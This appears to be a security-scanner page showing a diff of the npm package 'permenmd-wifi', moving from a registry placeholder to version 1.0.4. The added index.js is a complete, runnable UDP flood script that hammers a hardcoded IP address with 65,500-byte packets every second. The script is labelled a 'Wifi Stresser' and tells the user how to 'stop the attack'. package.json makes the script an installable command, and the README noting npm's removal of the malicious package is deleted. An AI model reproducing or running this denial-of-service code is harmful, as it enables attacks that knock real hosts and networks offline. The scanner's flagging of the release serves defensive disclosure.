permenmd-wifi 0.0.1-security → 1.0.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of permenmd-wifi might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +62 -0
  2. package/package.json +15 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,62 @@
1
+ #!/usr/bin/env node
2
+
3
+ const dgram = require('dgram');
4
+
5
+ const target = '108.177.96.113';
6
+ const port = 80;
7
+
8
+ function generatePayload(size) {
9
+ let payload = Buffer.alloc(size);
10
+ payload.fill('A');
11
+ return payload;
12
+ }
13
+
14
+ const payload = generatePayload(65500);
15
+
16
+ setInterval(() => {
17
+ const socket = dgram.createSocket('udp4');
18
+ for (let p = 0; p < 50; p++) {
19
+ socket.send(payload, 0, payload.length, port, target);
20
+ socket.send(payload, 0, payload.length, port, target);
21
+ socket.send(payload, 0, payload.length, port, target);
22
+ socket.send(payload, 0, payload.length, port, target);
23
+ socket.send(payload, 0, payload.length, port, target);
24
+ socket.send(payload, 0, payload.length, port, target);
25
+ socket.send(payload, 0, payload.length, port, target);
26
+ socket.send(payload, 0, payload.length, port, target);
27
+ socket.send(payload, 0, payload.length, port, target);
28
+ socket.send(payload, 0, payload.length, port, target);
29
+ socket.send(payload, 0, payload.length, port, target);
30
+ socket.send(payload, 0, payload.length, port, target);
31
+ socket.send(payload, 0, payload.length, port, target);
32
+ socket.send(payload, 0, payload.length, port, target);
33
+ socket.send(payload, 0, payload.length, port, target);
34
+ socket.send(payload, 0, payload.length, port, target);
35
+ socket.send(payload, 0, payload.length, port, target);
36
+ socket.send(payload, 0, payload.length, port, target);
37
+ socket.send(payload, 0, payload.length, port, target);
38
+ socket.send(payload, 0, payload.length, port, target);
39
+ socket.send(payload, 0, payload.length, port, target);
40
+ socket.send(payload, 0, payload.length, port, target);
41
+ }
42
+ socket.send(payload, 0, payload.length, port, target, (err) => {
43
+ if (err) {
44
+ console.error('Error sending message:', err);
45
+ }
46
+ socket.close();
47
+ });
48
+ }, 1000);
49
+
50
+ console.clear();
51
+ console.log(`
52
+ ██████╗ ███████╗██████╗ ███╗ ███╗███████╗███╗ ██╗███╗ ███╗██████╗
53
+ ██╔══██╗██╔════╝██╔══██╗████╗ ████║██╔════╝████╗ ██║████╗ ████║██╔══██╗
54
+ ██████╔╝█████╗ ██████╔╝██╔████╔██║█████╗ ██╔██╗ ██║██╔████╔██║██║ ██║
55
+ ██╔═══╝ ██╔══╝ ██╔══██╗██║╚██╔╝██║██╔══╝ ██║╚██╗██║██║╚██╔╝██║██║ ██║
56
+ ██║ ███████╗██║ ██║██║ ╚═╝ ██║███████╗██║ ╚████║██║ ╚═╝ ██║██████╔╝
57
+ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═════╝
58
+ PermenMD Wifi Stresser
59
+ =======================================================================
60
+
61
+ Ctrl + C To Stop The Attack
62
+ `);
package/package.json CHANGED
@@ -1,6 +1,18 @@
1
1
  {
2
2
  "name": "permenmd-wifi",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.4",
4
+ "description": "A Wi-Fi stresser tool",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "starsxwifi": "index.js"
8
+ },
9
+ "scripts": {
10
+ "start": "node index.js"
11
+ },
12
+ "author": "PermenMD",
13
+ "license": "MIT",
14
+ "dependencies": {
15
+ "permenmd-wifi": "^1.0.3"
16
+ },
17
+ "keywords": []
6
18
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=permenmd-wifi for more information.